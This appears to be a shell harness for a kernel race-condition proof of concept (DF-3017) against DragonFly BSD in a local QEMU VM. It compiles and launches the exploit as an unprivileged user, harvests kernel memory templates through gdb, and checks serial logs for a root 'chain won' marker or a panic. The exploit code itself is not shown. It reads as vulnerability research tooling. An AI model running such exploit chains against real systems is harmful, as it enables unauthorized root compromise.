#!/bin/sh
# 2-cpu chain iteration: harvest node template (gdb walk, panic-free),
# deploy armed dx, race with SERIAL-ONLY monitoring (no ssh noise),
# classify WIN/panic/timeout from the serial logfile.
set -u
cd /home/maxx/dfbsd/dfbsd
KEY=dfbsd-qemu/id_ed25519_dfbsd
SSHC="-F /dev/null -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i $KEY"
LOG=findings/poc/DF-3017/run_chain.log
N=${1:-6}
SECS=${2:-240}

boot2cpu() {
	kill $(cat /tmp/opencode/df3017-f2.pid 2>/dev/null) 2>/dev/null
	sleep 2
	ps ax | grep df3017-f2 | grep -v grep | awk '{print $1}' | xargs -r kill -9 2>/dev/null
	sleep 2
	(cd dfbsd-qemu && ./forensic2cpu.sh) >/dev/null 2>&1
	i=0
	while [ $i -lt 60 ]; do
		if ssh -o ConnectTimeout=5 -p 5535 $SSHC root@127.0.0.1 true >/dev/null 2>&1; then
			return 0
		fi
		sleep 3; i=$((i+3))
	done
	return 1
}

attempt=0
while [ "$attempt" -lt "$N" ]; do
	attempt=$((attempt + 1))
	echo "=== 2cpu attempt $attempt $(date -u +%H:%M:%S) ===" | tee -a "$LOG"
	boot2cpu || { echo "boot failed" | tee -a "$LOG"; continue; }

	# build + nodefree
	scp -P 5535 -q $SSHC findings/poc/DF-3017/nodefree.c root@127.0.0.1:/tmp/nf.c 2>/dev/null
	scp -P 5535 -q $SSHC findings/poc/DF-3017/df3017c.c root@127.0.0.1:/tmp/c.c 2>/dev/null
	ssh -p 5535 $SSHC root@127.0.0.1 'cd /tmp && cc -O2 -o nf nf.c && cc -O2 -pthread -o dx c.c && chown maxx nf dx && chmod 755 nf dx && echo BUILD_OK' >>"$LOG" 2>&1 || continue

	# node template harvest (gdb walk; also verifies the zone picture)
	ssh -p 5535 $SSHC maxx@127.0.0.1 '/tmp/nf 700' >>"$LOG" 2>&1
	timeout 100 python3 findings/poc/DF-3017/walkzones.py 22 >>"$LOG" 2>&1
	if [ ! -f /tmp/opencode/node_tpl.bin ]; then
		echo "no template; skipping armed run" | tee -a "$LOG"
		continue
	fi
	scp -P 5535 -q $SSHC /tmp/opencode/node_tpl.bin root@127.0.0.1:/tmp/recon.node.tpl 2>/dev/null
	ssh -p 5535 $SSHC root@127.0.0.1 'chown maxx /tmp/recon.node.tpl' >/dev/null 2>&1

	# launch the race; disconnect; watch the serial logfile only
	ssh -p 5535 $SSHC maxx@127.0.0.1 'rm -f /tmp/dx.log /tmp/df3017.root /tmp/df3017.id; nohup /tmp/dx '"$SECS"' >/tmp/dx.log 2>&1 < /dev/null & disown; echo RACING' >>"$LOG" 2>&1

	i=0
	result=timeout
	while [ $i -lt $((SECS + 90)) ]; do
		if grep -aq "DF3017-CHAIN-WON" /tmp/opencode/df3017-f2-serial.log 2>/dev/null; then
			result=WIN; break
		fi
		if grep -aq "^panic:\|Fatal trap" /tmp/opencode/df3017-f2-serial.log 2>/dev/null; then
			result=panic; break
		fi
		sleep 4; i=$((i+4))
	done

	case $result in
	WIN)
		echo "=== CHAIN WIN attempt $attempt ===" | tee -a "$LOG"
		sleep 3
		cp /tmp/opencode/df3017-f2-serial.log findings/poc/DF-3017/win.serial.log
		ssh -p 5535 $SSHC root@127.0.0.1 'cat /tmp/dx.log; echo ---; cat /tmp/df3017.root; cat /tmp/df3017.id; id maxx; ls -la /tmp/df3017*' >>"$LOG" 2>&1
		cp /tmp/opencode/df3017-f2-serial.log findings/poc/DF-3017/win.serial.$attempt.log 2>/dev/null
		exit 0
		;;
	panic)
		echo "--- attempt $attempt: panic ---" | tee -a "$LOG"
		grep -a -m1 -B2 -A14 "^panic:\|Fatal trap" /tmp/opencode/df3017-f2-serial.log | tr -d '\0' >> "$LOG"
		cp /tmp/opencode/df3017-f2-serial.log findings/poc/DF-3017/panic.serial.$attempt.log 2>/dev/null
		;;
	*)
		echo "--- attempt $attempt: timeout ---" | tee -a "$LOG"
		ssh -p 5535 $SSHC root@127.0.0.1 'tail -6 /tmp/dx.log' >>"$LOG" 2>&1 || true
		;;
	esac
done
echo "=== no win after $N attempts ===" | tee -a "$LOG"
exit 2
